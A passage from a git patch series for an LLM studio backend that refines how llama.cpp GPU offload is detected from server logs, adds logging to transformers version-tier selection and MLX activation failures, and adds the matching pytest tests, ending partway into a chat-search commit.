+    # line, so decide on the largest-M line: a drafter that fits on GPU must not
+    # mask a main model running on CPU. N>0 on that model is True, 0 is False.
+    max_total = -1
+    offloaded_at_max = 0
+    for line in lines:
+        match = _OFFLOADED_LAYERS_RE.search(line)
+        if not match:
+            continue
+        offloaded, total = int(match.group(1)), int(match.group(2))
+        if total > max_total or (total == max_total and offloaded > offloaded_at_max):
+            max_total, offloaded_at_max = total, offloaded
+    if max_total >= 0:
+        return offloaded_at_max > 0
+
+    # GPU marker on a *model* buffer; _Host buffers are CPU-pinned, not offload.
+    # Buffer lines are authoritative: present but none on a GPU means CPU-only,
+    # so do not let the device table below override that.
+    saw_model_buffer = False
+    for line in lines:
+        if "model buffer size" not in line:
+            continue
+        saw_model_buffer = True
+        if "_Host" not in line and any(m in line for m in _GPU_OFFLOAD_MARKERS):
+            return True
+    if saw_model_buffer:
+        return False
+
+    # device_info: lists *available* devices (printed whenever a GPU backend is
+    # visible), not where the model loaded, so it can only disconfirm: an
+    # all-CPU table means no usable GPU. A visible GPU device is not proof the
+    # model used it, so it does not return True. Rows after the header only.
+    after_header = False
+    saw_device_row = False
+    saw_gpu_device = False
+    for line in lines:
+        if "device_info:" in line:
+            after_header = True
+            continue
+        if not after_header:
+            continue
+        match = _DEVICE_ROW_RE.search(line)
+        if not match:
+            continue
+        saw_device_row = True
+        if match.group(1).lower().startswith(_GPU_DEVICE_PREFIXES):
+            saw_gpu_device = True
+    if saw_device_row and not saw_gpu_device:
+        return False
+    return None
+
+
 def _wsl_system_rocm_lib_dirs() -> "list[str]":
     """System ROCm lib dir(s) to load before a prebuilt's bundled HIP, on WSL.
 
@@ -4958,26 +5051,13 @@ class LlamaCppBackend:
     def _classify_gpu_offload(
         self, expected_gpu: bool, detected_gpus: list[tuple[int, int]]
     ) -> Optional[bool]:
-        """True if a GPU model buffer was allocated, False if only CPU
-        buffers landed despite GPU intent, None when there's no signal (no
-        GPU detected, no buffer-size lines, etc.)."""
+        """True if the model landed on a GPU, False if only CPU buffers landed
+        despite GPU intent, None when there's no signal. Delegates to the shared
+        classifier so it tracks current llama.cpp logs (offloaded-layer counts /
+        device_info), not just the older "model buffer size" lines."""
         if not detected_gpus or not expected_gpu:
             return None
-        # llama-server logs one "model buffer size = N MiB" line per backend
-        # buffer; CUDA/ROCm/Metal/Vulkan/OpenCL/SYCL are GPU, CPU* are not.
-        gpu_markers = ("CUDA", "ROCm", "Metal", "Vulkan", "OpenCL", "SYCL")
-        saw_buffer_line = False
-        saw_gpu_buffer = False
-        for line in self._stdout_lines:
-            if "model buffer size" not in line:
-                continue
-            saw_buffer_line = True
-            if any(marker in line for marker in gpu_markers):
-                saw_gpu_buffer = True
-                break
-        if not saw_buffer_line:
-            return None
-        return saw_gpu_buffer
+        return classify_gpu_offload_lines(self._stdout_lines)
 
     def load_cancelled(self) -> bool:
         """True if a load was cancelled (e.g. via unload/_cancel_event) and not
diff --git a/studio/backend/tests/test_llama_cpp_context_fit.py b/studio/backend/tests/test_llama_cpp_context_fit.py
index 58226f938c..abacc6e953 100644
--- a/studio/backend/tests/test_llama_cpp_context_fit.py
+++ b/studio/backend/tests/test_llama_cpp_context_fit.py
@@ -67,7 +67,7 @@ _httpx_stub.Client = type(
 )
 sys.modules.setdefault("httpx", _httpx_stub)
 
-from core.inference.llama_cpp import LlamaCppBackend
+from core.inference.llama_cpp import LlamaCppBackend, classify_gpu_offload_lines
 from core.inference.llama_server_args import parse_ctx_override, resolve_requested_ctx
 
 
@@ -557,3 +557,110 @@ class TestClassifyGpuOffload:
             ]
         )
         assert inst._classify_gpu_offload(True, [(0, 22805)]) is True
+
+    def test_offloaded_zero_count_returns_false(self):
+        # Authoritative count overrides any GPU-looking buffer line.
+        inst = self._backend(
+            [
+                "load_tensors: offloaded 0/33 layers to GPU",
+                "load_tensors:        CUDA0 model buffer size = 21000.0 MiB",
+            ]
+        )
+        assert inst._classify_gpu_offload(True, [(0, 22805)]) is False
+
+    def test_offloaded_draft_then_main_returns_true(self):
+        # A small draft model (0/2) does not mask the main model (33/33).
+        inst = self._backend(
+            [
+                "load_tensors: offloaded 0/2 layers to GPU",
+                "load_tensors: offloaded 33/33 layers to GPU",
+            ]
+        )
+        assert inst._classify_gpu_offload(True, [(0, 22805)]) is True
+
+    def test_main_on_cpu_with_draft_on_gpu_returns_false(self):
+        # MTP: the small drafter fits on GPU (1/1) but the main model is on CPU
+        # (0/33). Decide on the largest model, so the warning still fires.
+        inst = self._backend(
+            [
+                "load_tensors: offloaded 0/33 layers to GPU",
+                "load_tensors: offloaded 1/1 layers to GPU",
+            ]
+        )
+        assert inst._classify_gpu_offload(True, [(0, 22805)]) is False
+
+    def test_main_on_gpu_with_draft_on_cpu_returns_true(self):
+        # Reverse: main model on GPU (33/33), drafter on CPU (0/1) -> no warning.
+        inst = self._backend(
+            [
+                "load_tensors: offloaded 33/33 layers to GPU",
+                "load_tensors: offloaded 0/1 layers to GPU",
+            ]
+        )
+        assert inst._classify_gpu_offload(True, [(0, 22805)]) is True
+
+    def test_cuda_host_buffer_excluded_returns_false(self):
+        # CUDA_Host is CPU-pinned memory, not a model offload.
+        inst = self._backend(
+            [
+                "load_tensors:    CUDA_Host model buffer size =   500.0 MiB",
+                "load_tensors:          CPU model buffer size = 21000.0 MiB",
+            ]
+        )
+        assert inst._classify_gpu_offload(True, [(0, 22805)]) is False
+
+    def test_device_info_gpu_row_alone_is_inconclusive(self):
+        # device_info lists available devices, not where the model loaded, so a
+        # GPU row alone is not proof of offload.
+        inst = self._backend(
+            [
+                "print_info: device_info:",
+                "  - CUDA0 : 24564 MiB free",
+            ]
+        )
+        assert inst._classify_gpu_offload(True, [(0, 22805)]) is None
+
+    def test_cpu_buffers_with_gpu_device_row_returns_false(self):
+        # Definite CPU-only buffers must win over a GPU device-inventory row.
+        inst = self._backend(
+            [
+                "load_tensors:          CPU model buffer size = 21000.0 MiB",
+                "print_info: device_info:",
+                "  - CUDA0 : 24564 MiB free",
+            ]
+        )
+        assert inst._classify_gpu_offload(True, [(0, 22805)]) is False
+
+    def test_device_info_cpu_only_returns_false(self):
+        inst = self._backend(
+            [
+                "print_info: device_info:",
+                "  - CPU : 64000 MiB free",
+            ]
+        )
+        assert inst._classify_gpu_offload(True, [(0, 22805)]) is False
+
+    def test_system_info_cuda_before_device_info_does_not_count(self):
+        # A compiled-in backend named in system_info is not proof of offload;
+        # only the device_info table (here CPU only) decides.
+        inst = self._backend(
+            [
+                "system_info: CUDA : ARCHS = 890 | n_threads = 8",
+                "print_info: device_info:",
+                "  - CPU : 64000 MiB free",
+            ]
+        )
+        assert inst._classify_gpu_offload(True, [(0, 22805)]) is False
+
+    @pytest.mark.parametrize(
+        "marker",
+        ["CUDA0", "ROCm0", "HIP0", "Metal", "Vulkan0", "OpenCL0", "SYCL0", "MUSA0", "CANN0"],
+    )
+    def test_all_gpu_buffer_markers_return_true(self, marker):
+        assert (
+            classify_gpu_offload_lines([f"load_tensors: {marker} model buffer size = 8000.0 MiB"])
+            is True
+        )
+
+    def test_module_level_no_signal_returns_none(self):
+        assert classify_gpu_offload_lines(["INFO starting server"]) is None

From cef7dcf160652a61f34dde0c6bd932dea743d46f Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 15 Jun 2026 23:31:43 -0700
Subject: [PATCH 24/91] Studio: improve logging for dynamic transformers
 version switching (#6108)

* Studio: log transformers version-switching decisions and stop swallowing MLX activation failures

Two logging gaps in dynamic transformers version switching (issue #6103):

1. get_transformers_tier returned a tier with no trace of why. Add an
   info log at each decision point naming the model and the trigger
   (which substring matched, or which config check fired), so a model
   landing on the wrong tier is diagnosable.

2. The MLX fast-path in run_training_process activated the transformers
   version inside a bare 'except Exception: pass', silently swallowing
   failures while the non-MLX path reports them. A missing or broken
   version venv (e.g. Gemma-4 needing 5.5.0) left no trace and only a
   confusing downstream crash. Extract a small _activate_transformers_version_or_warn
   helper that logs a warning on failure while keeping the non-fatal
   fall-through, and call it from the MLX path.

Adds tier-selection logging tests and helper warn/silent tests.

* Studio: clarify path-prepend log, warn on venv version mismatch, log per-package install progress

Completes the remaining logging items of #6103 in studio/backend/utils/transformers_version.py:

- activate_transformers_for_subprocess: the early "Activated transformers X.X.X" line was misleading because at that point only the venv directory has been prepended to sys.path, not imported. It now says it prepended the venv to sys.path and notes the loaded version is confirmed later by "Subprocess loaded transformers ...".
- _venv_dir_is_valid: a detected version mismatch is logged at warning instead of info, since it immediately triggers a full venv wipe and reinstall that should be visible in the logs.
- _ensure_venv_dir: log each package as it starts installing with an N/M progress counter, so a slow runtime install is not mistaken for a hang (pip/uv output is piped and only surfaced on error).

Adds tests covering all three behaviours; pre-existing unused imports are left untouched.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: make tier log-capture tests independent of import order

The new issue #6103 caplog assertions in test_transformers_version.py
relied on the module-level sys.modules.setdefault("loggers", stub)
winning the import race. In a full backend pytest run another module
(for example test_log_filter_no_truncation, collected earlier) imports
the real loggers first, so the setdefault is a no-op and
transformers_version.logger becomes a structlog/stdout logger that
caplog cannot capture -- the tier, activation, venv-mismatch and
install-progress log assertions then fail even though the line was
emitted.

Bind a real stdlib logger to transformers_version.logger for the
duration of each test via an autouse fixture, so the module logs through
logging and caplog captures them regardless of collection order.

* Studio: log local checkpoint tier decisions and warn on MLX inference activation

- get_transformers_tier: the local config.json fast path returned a tier
  without logging it, so local checkpoints stayed opaque while HF ids were
  traceable. Log each decision there too, with a caplog regression test.
- inference worker: the MLX path swallowed _activate_transformers_version
  failures with a bare except, the same gap issue #6103 fixed for training.
  Warn instead, keeping the non-fatal fall-through.

---------

Co-authored-by: Daniel Han <michaelhan2050@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/inference/worker.py       |  11 +-
 studio/backend/core/training/worker.py        |  30 +-
 .../tests/test_mlx_training_worker_config.py  |  41 +++
 .../tests/test_transformers_version.py        | 256 ++++++++++++++++++
 studio/backend/utils/transformers_version.py  |  75 ++++-
 5 files changed, 397 insertions(+), 16 deletions(-)

diff --git a/studio/backend/core/inference/worker.py b/studio/backend/core/inference/worker.py
index cc79654087..52d151ba15 100644
--- a/studio/backend/core/inference/worker.py
+++ b/studio/backend/core/inference/worker.py
@@ -655,10 +655,17 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
 
     _hw.detect_hardware()
     if _hw.DEVICE == _hw.DeviceType.MLX:
+        # Non-fatal: fall through with the installed version, but log the cause
+        # instead of swallowing it (issue #6103).
         try:
             _activate_transformers_version(model_name)
-        except Exception:
-            pass
+        except Exception as exc:
+            logger.warning(
+                "Failed to activate transformers version for '%s' (MLX inference); "
+                "inference may fail if this model requires a specific version. Error: %s",
+                model_name,
+                exc,
+            )
         try:
             from core.inference.mlx_inference import MLXInferenceBackend
 
diff --git a/studio/backend/core/training/worker.py b/studio/backend/core/training/worker.py
index 39ff7f67c7..b106aa1298 100644
--- a/studio/backend/core/training/worker.py
+++ b/studio/backend/core/training/worker.py
@@ -1061,6 +1061,27 @@ def _activate_transformers_version(model_name: str) -> None:
     activate_transformers_for_subprocess(model_name)
 
 
+def _activate_transformers_version_or_warn(model_name: str) -> None:
+    """Activate the required transformers version for the MLX fast-path.
+
+    Unlike the non-MLX path (which treats activation failure as fatal and
+    reports it via the event queue), the MLX path is intentionally non-fatal:
+    it falls through with whatever transformers version is installed. The
+    failure used to be swallowed by a bare ``except: pass``, leaving no trace
+    and only a confusing downstream crash. Log a warning instead so the cause
+    is visible, while keeping the fall-through behaviour.
+    """
+    try:
+        _activate_transformers_version(model_name)
+    except Exception as exc:
+        logger.warning(
+            "Failed to activate transformers version for '%s' (MLX); "
+            "training may fail if this model requires a specific version. Error: %s",
+            model_name,
+            exc,
+        )
+
+
 def _mlx_vlm_max_resized_size(width: int, height: int, target: int) -> tuple[int, int]:
     if width <= 0 or height <= 0 or target <= 0:
         return width, height
@@ -2031,11 +2052,10 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
             )
             return
         # Activate correct transformers version (Gemma-4 needs a 5.x sidecar, etc.)
-        # before any transformers/mlx-lm imports in _run_mlx_training.
-        try:
-            _activate_transformers_version(model_name)
-        except Exception:
-            pass  # Non-fatal: fall through with whatever version is installed
+        # Must happen before any transformers/mlx-lm imports in _run_mlx_training.
+        # Non-fatal: fall through with whatever version is installed, but log
+        # the failure instead of swallowing it (issue #6103).
+        _activate_transformers_version_or_warn(model_name)
         try:
             _run_mlx_training(event_queue, stop_queue, config)
         except Exception as exc:
diff --git a/studio/backend/tests/test_mlx_training_worker_config.py b/studio/backend/tests/test_mlx_training_worker_config.py
index 44ef9045b4..7d45bc735d 100644
--- a/studio/backend/tests/test_mlx_training_worker_config.py
+++ b/studio/backend/tests/test_mlx_training_worker_config.py
@@ -221,3 +221,44 @@ def test_mlx_vlm_adapter_applies_chw_layout_to_message_images():
 
     assert adapted[0]["image"].shape == (3, 80, 128)
     assert adapted[0]["messages"][0]["content"][0] == {"type": "image"}
+
+
+# ---- issue #6103: MLX transformers-version activation must not fail silently ----
+
+
+def test_activate_transformers_version_or_warn_logs_on_failure(monkeypatch):
+    """A failed activation in the MLX fast-path must be logged, not swallowed.
+
+    The non-MLX path already surfaces this failure; the MLX path used a bare
+    ``except Exception: pass`` so a missing/broken transformers venv produced
+    no trace and a confusing downstream crash.
+    """
+    warnings_logged = []
+    fake_logger = types.SimpleNamespace(
+        warning = lambda *a, **k: warnings_logged.append((a, k)),
+    )
+    monkeypatch.setattr(_worker, "logger", fake_logger)
+
+    def _boom(_name):
+        raise RuntimeError("venv .venv_t5_550 missing")
+
+    monkeypatch.setattr(_worker, "_activate_transformers_version", _boom)
+
+    # Non-fatal: the MLX path falls through, so this must not raise.
+    _worker._activate_transformers_version_or_warn("google/gemma-4-12b")
+
+    assert len(warnings_logged) == 1, "activation failure was not logged"
+    assert "gemma-4-12b" in str(warnings_logged[0]), "log does not name the model"
+
+
+def test_activate_transformers_version_or_warn_silent_on_success(monkeypatch):
+    warnings_logged = []
+    fake_logger = types.SimpleNamespace(
+        warning = lambda *a, **k: warnings_logged.append((a, k)),
+    )
+    monkeypatch.setattr(_worker, "logger", fake_logger)
+    monkeypatch.setattr(_worker, "_activate_transformers_version", lambda _name: None)
+
+    _worker._activate_transformers_version_or_warn("meta-llama/Llama-3-8B")
+
+    assert warnings_logged == [], "should not warn when activation succeeds"
diff --git a/studio/backend/tests/test_transformers_version.py b/studio/backend/tests/test_transformers_version.py
index 7c497ba1b1..60bbcde9ec 100644
--- a/studio/backend/tests/test_transformers_version.py
+++ b/studio/backend/tests/test_transformers_version.py
@@ -4,6 +4,8 @@
 """Tests for transformers version detection with local checkpoint fallbacks."""
 
 import json
+import logging
+import os
 import pytest
 from pathlib import Path
 from unittest.mock import patch
@@ -38,9 +40,32 @@ from utils.transformers_version import (
     _config_needs_550_cache,
     needs_transformers_5,
     get_transformers_tier,
+    activate_transformers_for_subprocess,
+    _venv_dir_is_valid,
+    _ensure_venv_dir,
 )
 
 
+@pytest.fixture(autouse = True)
+def _capturable_logger(monkeypatch):
+    """Make the ``caplog`` assertions independent of test collection order.
+
+    The ``sys.modules.setdefault("loggers", ...)`` stub above only installs the
+    stdlib-logger stub when ``loggers`` has not been imported yet. In a full
+    backend pytest run another module (e.g. ``test_log_filter_no_truncation``,
+    collected earlier) imports the real ``loggers`` first, so the stub is a
+    no-op and ``transformers_version.logger`` ends up a structlog/stdout logger
+    that ``caplog`` cannot see -- the tier/activation/install log assertions
+    would then fail even though the line was emitted. Bind a real stdlib logger
+    for the duration of each test so the module logs through ``logging`` and
+    ``caplog`` captures them regardless of import order.
+    """
+    monkeypatch.setattr(
+        "utils.transformers_version.logger",
+        logging.getLogger("utils.transformers_version"),
+    )
+
+
 # ---------------------------------------------------------------------------
 # _resolve_base_model — config.json fallback
 # ---------------------------------------------------------------------------
@@ -503,6 +528,54 @@ class TestGetTransformersTier:
         """5.5.0 is checked before 5.3.0 - a model matching both gets 550."""
         assert get_transformers_tier("gemma-4-model") == "550"
 
+    # ---- issue #6103: the tier decision must be traceable in the logs ----
+
+    def test_tier_550_selection_is_logged(self, caplog):
+        caplog.set_level(logging.INFO)
+        assert get_transformers_tier("google/gemma-4-E2B-it") == "550"
+        text = " ".join(r.getMessage() for r in caplog.records).lower()
+        assert "550" in text, f"tier selection not logged: {text!r}"
+        assert "gemma-4-e2b-it" in text, f"tier log omits the model: {text!r}"
+
+    def test_tier_530_selection_is_logged(self, caplog):
+        caplog.set_level(logging.INFO)
+        with patch(
+            "utils.transformers_version._check_config_needs_550",
+            return_value = False,
+        ):
+            assert get_transformers_tier("Qwen/Qwen3.5-9B") == "530"
+        text = " ".join(r.getMessage() for r in caplog.records).lower()
+        assert "530" in text, f"tier selection not logged: {text!r}"
+        assert "qwen3.5-9b" in text, f"tier log omits the model: {text!r}"
+
+    def test_tier_default_selection_is_logged(self, caplog):
+        caplog.set_level(logging.INFO)
+        with (
+            patch(
+                "utils.transformers_version._check_config_needs_510",
+                return_value = False,
+            ),
+            patch(
+                "utils.transformers_version._check_config_needs_550",
+                return_value = False,
+            ),
+            patch(
+                "utils.transformers_version._check_tokenizer_config_needs_v5",
+                return_value = False,
+            ),
+        ):
+            assert get_transformers_tier("meta-llama/Llama-3-8B") == "default"
+        text = " ".join(r.getMessage() for r in caplog.records).lower()
+        assert "default" in text, f"tier selection not logged: {text!r}"
+
+    def test_local_config_json_selection_is_logged(self, tmp_path: Path, caplog):
+        cfg = {"architectures": ["Gemma4ForConditionalGeneration"], "model_type": "gemma4"}
+        (tmp_path / "config.json").write_text(json.dumps(cfg))
+        caplog.set_level(logging.INFO)
+        assert get_transformers_tier(str(tmp_path)) == "550"
+        text = " ".join(r.getMessage() for r in caplog.records).lower()
+        assert "550" in text and "local config.json" in text, f"local tier not logged: {text!r}"
+
     def test_needs_transformers_5_compat(self):
         """needs_transformers_5 should return True for 510, 530, and 550 models."""
         assert needs_transformers_5("unsloth/gemma-4-12b-it") is True
@@ -533,3 +606,186 @@ class TestGetTransformersTier:
             ),
         ):
             assert needs_transformers_5("meta-llama/Llama-3-8B") is False
+
+
+# ---------------------------------------------------------------------------
+# activate_transformers_for_subprocess — issue #6103
+# The early log must make clear it only prepends to sys.path; the real
+# confirmation comes later from "Subprocess loaded transformers X.X.X".
+# ---------------------------------------------------------------------------
+
+
+class TestActivateLoggingClarity:
+    """issue #6103: 'Activated transformers' was misleading (path-prepend only)."""
+
+    def _snapshot_env(self):
+        return list(sys.path), os.environ.get("PYTHONPATH")
+
+    def _restore_env(self, snapshot):
+        saved_path, saved_pp = snapshot
+        sys.path[:] = saved_path
+        if saved_pp is None:
+            os.environ.pop("PYTHONPATH", None)
+        else:
+            os.environ["PYTHONPATH"] = saved_pp
+
+    def test_activate_550_log_clarifies_path_prepend_only(self, caplog):
+        caplog.set_level(logging.INFO)
+        snap = self._snapshot_env()
+        try:
+            with (
+                patch(
+                    "utils.transformers_version._resolve_base_model",
+                    side_effect = lambda m: m,
+                ),
+                patch(
+                    "utils.transformers_version.get_transformers_tier",
+                    return_value = "550",
+                ),
+                patch(
+                    "utils.transformers_version._ensure_venv_t5_550_exists",
+                    return_value = True,
+                ),
+            ):
+                activate_transformers_for_subprocess("google/gemma-4-E2B-it")
+        finally:
+            self._restore_env(snap)
+
+        text = " ".join(r.getMessage() for r in caplog.records).lower()
+        assert "5.5.0" in text, f"version not logged: {text!r}"
+        # Must signal this is only a sys.path manipulation, not a confirmed import.
+        assert (
+            "sys.path" in text or "path only" in text
+        ), f"early activation log does not clarify it is path-prepend only: {text!r}"
+
+    def test_activate_530_log_clarifies_path_prepend_only(self, caplog):
+        caplog.set_level(logging.INFO)
+        snap = self._snapshot_env()
+        try:
+            with (
+                patch(
+                    "utils.transformers_version._resolve_base_model",
+                    side_effect = lambda m: m,
+                ),
+                patch(
+                    "utils.transformers_version.get_transformers_tier",
+                    return_value = "530",
+                ),
+                patch(
+                    "utils.transformers_version._ensure_venv_t5_530_exists",
+                    return_value = True,
+                ),
+            ):
+                activate_transformers_for_subprocess("Qwen/Qwen3.5-9B")
+        finally:
+            self._restore_env(snap)
+
+        text = " ".join(r.getMessage() for r in caplog.records).lower()
+        assert "5.3.0" in text, f"version not logged: {text!r}"
+        assert (
+            "sys.path" in text or "path only" in text
+        ), f"early activation log does not clarify it is path-prepend only: {text!r}"
+
+
+# ---------------------------------------------------------------------------
+# _venv_dir_is_valid — issue #6103
+# A version mismatch triggers a full wipe + reinstall, so it must be logged
+# at WARNING (not INFO) so the reinstall is visible.
+# ---------------------------------------------------------------------------
+
+
+class TestVenvDirIsValidLogging:
+    def _make_venv(self, venv_dir: Path, pkg: str, version: str):
+        """Create a fake target-dir install of *pkg* at *version*."""
+        (venv_dir / pkg).mkdir(parents = True)
+        di = venv_dir / f"{pkg}-{version}.dist-info"
+        di.mkdir()
+        (di / "METADATA").write_text(f"Name: {pkg}\nVersion: {version}\n")
+
+    def test_version_mismatch_logged_at_warning(self, tmp_path: Path, caplog):
+        venv_dir = tmp_path / "venv"
+        self._make_venv(venv_dir, "transformers", "5.0.0")  # wrong version
+
+        caplog.set_level(logging.INFO)
+        result = _venv_dir_is_valid(str(venv_dir), ("transformers==5.3.0",))
+
+        assert result is False
+        warnings = [r for r in caplog.records if r.levelno >= logging.WARNING]
+        assert warnings, (
+            "version mismatch must be logged at WARNING; got: "
+            f"{[(r.levelname, r.getMessage()) for r in caplog.records]!r}"
+        )
+        joined = " ".join(r.getMessage() for r in warnings)
+        assert (
+            "5.0.0" in joined and "5.3.0" in joined
+        ), f"mismatch log omits the versions: {joined!r}"
+
+    def test_correct_version_does_not_warn(self, tmp_path: Path, caplog):
+        venv_dir = tmp_path / "venv"
+        self._make_venv(venv_dir, "transformers", "5.3.0")  # correct version
+
+        caplog.set_level(logging.INFO)
+        result = _venv_dir_is_valid(str(venv_dir), ("transformers==5.3.0",))
+
+        assert result is True
+        assert not [
+            r for r in caplog.records if r.levelno >= logging.WARNING
+        ], "no warning expected when the installed version matches"
+
+
+# ---------------------------------------------------------------------------
+# _ensure_venv_dir — issue #6103
+# A slow runtime install must log each package as it starts, otherwise it
+# looks like a hang.
+# ---------------------------------------------------------------------------
+
+
+class TestEnsureVenvDirProgressLogging:
+    def test_logs_each_package_with_progress(self, tmp_path: Path, caplog):
+        installed = []
+        caplog.set_level(logging.INFO)
+        with (
+            patch(
+                "utils.transformers_version._venv_dir_is_valid",
+                return_value = False,
+            ),
+            patch(
+                "utils.transformers_version._install_to_dir",
+                side_effect = lambda pkg, d: (installed.append(pkg), True)[1],
+            ),
+        ):
+            ok = _ensure_venv_dir(
+                str(tmp_path / "venv"),
+                ("transformers==5.3.0", "tokenizers==0.21.0"),
+                "transformers 5.3.0",
+            )
+
+        assert ok is True
+        assert installed == ["transformers==5.3.0", "tokenizers==0.21.0"]
+
+        msgs = " ".join(r.getMessage() for r in caplog.records)
+        assert "transformers==5.3.0" in msgs, f"first package not logged: {msgs!r}"
+        assert "tokenizers==0.21.0" in msgs, f"second package not logged: {msgs!r}"
+        # progress counter present so a slow install is not mistaken for a hang
+        assert "1/2" in msgs and "2/2" in msgs, f"progress count missing: {msgs!r}"
+
+    def test_no_install_logging_when_venv_already_valid(self, tmp_path: Path, caplog):
+        caplog.set_level(logging.INFO)
+        with (
+            patch(
+                "utils.transformers_version._venv_dir_is_valid",
+                return_value = True,
+            ),
+            patch(
+                "utils.transformers_version._install_to_dir",
+            ) as mock_install,
+        ):
+            ok = _ensure_venv_dir(
+                str(tmp_path / "venv"),
+                ("transformers==5.3.0",),
+                "transformers 5.3.0",
+            )
+
+        assert ok is True
+        mock_install.assert_not_called()
+        assert "Installing" not in " ".join(r.getMessage() for r in caplog.records)
diff --git a/studio/backend/utils/transformers_version.py b/studio/backend/utils/transformers_version.py
index 6e1571d5ce..87a6726d33 100644
--- a/studio/backend/utils/transformers_version.py
+++ b/studio/backend/utils/transformers_version.py
@@ -156,7 +156,9 @@ def activate_transformers_for_subprocess(model_name: str) -> None:
         if _VENV_T5_510_DIR not in sys.path:
             sys.path.insert(0, _VENV_T5_510_DIR)
         logger.info(
-            "Activated transformers %s from %s",
+            "Prepended transformers %s venv to sys.path from %s "
+            "(path only; the loaded version is confirmed later by "
+            "'Subprocess loaded transformers ...' on first import)",
             TRANSFORMERS_510_VERSION,
             _VENV_T5_510_DIR,
         )
@@ -171,7 +173,9 @@ def activate_transformers_for_subprocess(model_name: str) -> None:
         if _VENV_T5_550_DIR not in sys.path:
             sys.path.insert(0, _VENV_T5_550_DIR)
         logger.info(
-            "Activated transformers %s from %s",
+            "Prepended transformers %s venv to sys.path from %s "
+            "(path only; the loaded version is confirmed later by "
+            "'Subprocess loaded transformers ...' on first import)",
             TRANSFORMERS_550_VERSION,
             _VENV_T5_550_DIR,
         )
@@ -185,7 +189,13 @@ def activate_transformers_for_subprocess(model_name: str) -> None:
             )
         if _VENV_T5_530_DIR not in sys.path:
             sys.path.insert(0, _VENV_T5_530_DIR)
-        logger.info("Activated transformers 5.3.0 from %s", _VENV_T5_530_DIR)
+        logger.info(
+            "Prepended transformers %s venv to sys.path from %s "
+            "(path only; the loaded version is confirmed later by "
+            "'Subprocess loaded transformers ...' on first import)",
+            TRANSFORMERS_530_VERSION,
+            _VENV_T5_530_DIR,
+        )
         _pp = os.environ.get("PYTHONPATH", "")
         os.environ["PYTHONPATH"] = _VENV_T5_530_DIR + (os.pathsep + _pp if _pp else "")
     else:
@@ -449,33 +459,78 @@ def get_transformers_tier(model_name: str) -> str:
     if local_cfg.is_file():
         cfg = _load_config_json(model_name)
         if cfg is not None and _config_needs_510(cfg):
+            logger.info(
+                "Transformers tier 510 selected for %s (local config.json check)",
+                model_name,
+            )
             return "510"
         if cfg is not None and _config_needs_550(cfg):
+            logger.info(
+                "Transformers tier 550 selected for %s (local config.json check)",
+                model_name,
+            )
             return "550"
         if cfg is not None:
             local_tc = Path(model_name) / "tokenizer_config.json"
             if local_tc.is_file() and _check_tokenizer_config_needs_v5(model_name):
+                logger.info(
+                    "Transformers tier 530 selected for %s (local tokenizer_config.json check)",
+                    model_name,
+                )
                 return "530"
+            logger.info(
+                "Transformers tier default (4.57.x) selected for %s (local config.json no match)",
+                model_name,
+            )
             return "default"
 
     # --- Fast substring checks (no I/O) ------------------------------------
     if "assistant" in lowered and ("gemma-4" in lowered or "gemma4" in lowered):
+        logger.info(
+            "Transformers tier 510 selected for %s (gemma-4 assistant variant)",
+            model_name,
+        )
         return "510"
-    if any(sub in lowered for sub in TRANSFORMERS_510_MODEL_SUBSTRINGS):
+    match = next((sub for sub in TRANSFORMERS_510_MODEL_SUBSTRINGS if sub in lowered), None)
+    if match is not None:
+        logger.info(
+            "Transformers tier 510 selected for %s (substring match: %s)",
+            model_name,
+            match,
+        )
         return "510"
-    if any(sub in lowered for sub in TRANSFORMERS_550_MODEL_SUBSTRINGS):
+    match = next((sub for sub in TRANSFORMERS_550_MODEL_SUBSTRINGS if sub in lowered), None)
+    if match is not None:
+        logger.info(
+            "Transformers tier 550 selected for %s (substring match: %s)",
+            model_name,
+            match,
+        )
         return "550"
-    if any(sub in lowered for sub in TRANSFORMERS_5_MODEL_SUBSTRINGS):
+    match = next((sub for sub in TRANSFORMERS_5_MODEL_SUBSTRINGS if sub in lowered), None)
+    if match is not None:
+        logger.info(
+            "Transformers tier 530 selected for %s (substring match: %s)",
+            model_name,
+            match,
+        )
         return "530"
 
     # --- Slow config fallbacks (network for HF IDs) ------------------------
     if _check_config_needs_510(model_name):
+        logger.info("Transformers tier 510 selected for %s (config.json check)", model_name)
         return "510"
     if _check_config_needs_550(model_name):
+        logger.info("Transformers tier 550 selected for %s (config.json check)", model_name)
         return "550"
     if _check_tokenizer_config_needs_v5(model_name):
+        logger.info(
+            "Transformers tier 530 selected for %s (tokenizer_config.json check)",
+            model_name,
+        )
         return "530"
 
+    logger.info("Transformers tier default (4.57.x) selected for %s (no match)", model_name)
     return "default"
 
 
@@ -590,8 +645,8 @@ def _venv_dir_is_valid(venv_dir: str, packages: tuple[str, ...]) -> bool:
                 if line.startswith("Version:"):
                     installed_ver = line.split(":", 1)[1].strip()
                     if installed_ver != pkg_version:
-                        logger.info(
-                            "%s has %s==%s but need %s",
+                        logger.warning(
+                            "%s has %s==%s but need %s -- venv will be wiped and reinstalled",
                             venv_dir,
                             pkg_name,
                             installed_ver,
@@ -672,7 +727,9 @@ def _ensure_venv_dir(venv_dir: str, packages: tuple[str, ...], label: str) -> bo
     logger.warning("%s not found or incomplete at %s -- installing at runtime", label, venv_dir)
     shutil.rmtree(venv_dir, ignore_errors = True)
     os.makedirs(venv_dir, exist_ok = True)
-    for pkg in packages:
+    total = len(packages)
+    for idx, pkg in enumerate(packages, start = 1):
+        logger.info("Installing %s (%d/%d) into %s ...", pkg, idx, total, venv_dir)
         if not _install_to_dir(pkg, venv_dir):
             return False
     logger.info("Installed %s to %s", label, venv_dir)

From f3991ac416c2acd485e2151b68ecf9857eb0ce72 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 15 Jun 2026 23:48:37 -0700
Subject: [PATCH 25/91] Chat search: search all messages, user messages first
 (#6350)

* Chat search: match across all messages, not just title and preview

The Cmd/Ctrl+K chat search only matched the thread title and a 120
character preview of the newest message, so keywords anywhere else in a
conversation were unfindable. Build a per-thread haystack from the title
plus every message's text and match against that.

The haystack is lowercased once at index build time, so the keystroke
filter only normalizes the short query instead of re-lowercasing the
whole conversation per item.

